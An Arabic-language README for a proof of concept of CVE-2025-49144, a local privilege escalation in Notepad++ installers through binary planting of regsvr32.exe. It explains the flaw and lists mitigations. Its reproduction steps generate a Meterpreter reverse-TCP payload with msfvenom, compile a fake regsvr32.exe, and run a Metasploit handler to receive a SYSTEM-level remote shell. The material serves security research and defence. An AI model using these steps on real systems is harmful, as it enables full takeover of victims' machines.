
PoC لثغرة CVE-2025-49144 لباحثي الأمن لاختباره وتجربته.

📌 CVE-2025-49144 هو ثغرة تصعيد صلاحيات محلية شديدة الخطورة تم اكتشافها في مثبّتات Notepad++ الإصدار v8.8.1 والإصدارات السابقة. تنبع هذه الثغرة من سلوك مسار البحث غير المتحكم به للملفات التنفيذية أثناء التثبيت، مما يسمح لمهاجم محلي بالحصول على صلاحيات على مستوى SYSTEM عن طريق وضع ملفات تنفيذية خبيثة في نفس مجلد المثبّت.
⚙️ كيف تعمل الثغرة – خطوة بخطوة:
🧱 1. ما الخطأ الذي حدث في المثبّت؟
يستدعي مثبّت Notepad++ (قبل الإصدار v8.8.2) الملف regsvr32.exe لتسجيل بعض المكونات — لكنه يفعل ذلك دون تحديد المسار الكامل (مثل C:\Windows\System32\regsvr32.exe).
بدلاً من ذلك، يقوم فقط بتشغيل:
regsvr32.exe some_dll
📂 2. سلوك مسار البحث في Windows: عند تشغيل ملف تنفيذي بدون مسار كامل، يستخدم Windows ترتيب بحث محددًا للعثور على الملف:
المجلد الذي تم تشغيل التطبيق منه (مثل Downloads)
مجلد النظام (System32)
مجلد Windows
دليل العمل الحالي
المسارات في متغير البيئة PATH
لذا، إذا تم وضع ملف regsvr32.exe مزيف في نفس مجلد المثبّت (مثل Downloads)، فسيستخدمه Windows قبل الملف الحقيقي.
💣 3. الاستغلال:
- يضع المهاجم ملف regsvr32.exe خبيثًا في نفس مجلد مثبّت Notepad++ الشرعي (مثل مجلد Downloads الخاص بالضحية).
- تقوم الضحية بتشغيل المثبّت (معتقدة أنه آمن).
- يستدعي المثبّت regsvr32.exe، لكنه في النهاية ينفّذ الملف الخبيث من نفس المجلد — بصلاحيات SYSTEM (لأن المثبّتات تطلب عادةً صلاحيات المسؤول).
- أصبحت حمولة المهاجم تعمل الآن بصلاحيات NT AUTHORITY\SYSTEM.
⚙️ خطوات إعادة الإنتاج:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<your-ip> LPORT=4444 -f c > shellcode.txt
x86_64-w64-mingw32-gcc regsvr32_loader.c -o regsvr32.exe -mwindows
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST X.X.X.X
set LPORT 4444
run
ملاحظة: هذا إثبات مفاهيمي (PoC) وبالتالي تم اختباره مع تعطيل Windows Defender والحماية في الوقت الفعلي.
✅ التدابير الوقائية (Mitigation)
يجب على المستخدمين والمشرفين:
الترقية إلى Notepad++ v8.8.2 أو إصدار أحدث
تقييد تثبيت البرامج على المسؤولين الموثوقين
استخدام AppLocker أو WDAC أو سياسات تقييد البرامج (SRP) من أجل:
يجب على فرق الأمن مراجعة مسارات التثبيت بانتظام، ومراقبة صلاحيات الكتابة، وملاحظة السلوك أثناء تنفيذ المثبّت لتقليل سطح الهجوم.
رخصة MIT — مجانية للأغراض التعليمية والبحثية والدفاعية فقط.
طلبات السحب (Pull Requests) مرحب بها — حسّن الاكتشاف، أو أضف ميزات، أو اقترح إصلاحات.
هذا الإثبات المفاهيمي (PoC) لأغراض تعليمية وبحثية فقط. استخدمه على مسؤوليتك الخاصة. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج.